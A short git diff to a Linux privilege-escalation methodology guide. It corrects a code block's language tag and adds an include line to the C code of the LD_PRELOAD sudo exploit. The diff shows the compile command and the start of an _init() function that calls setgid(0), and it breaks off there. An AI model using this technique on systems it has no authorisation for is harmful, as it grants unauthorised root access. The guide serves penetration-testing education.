diff --git a/Methodology and Resources/Linux - Privilege Escalation.md b/Methodology and Resources/Linux - Privilege Escalation.md index 46dcc56..c0a39c0 100644 --- a/Methodology and Resources/Linux - Privilege Escalation.md +++ b/Methodology and Resources/Linux - Privilege Escalation.md @@ -442,10 +442,11 @@ Defaults env_keep += LD_PRELOAD Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles` -```powershell +```c #include #include #include +#include void _init() { unsetenv("LD_PRELOAD"); setgid(0);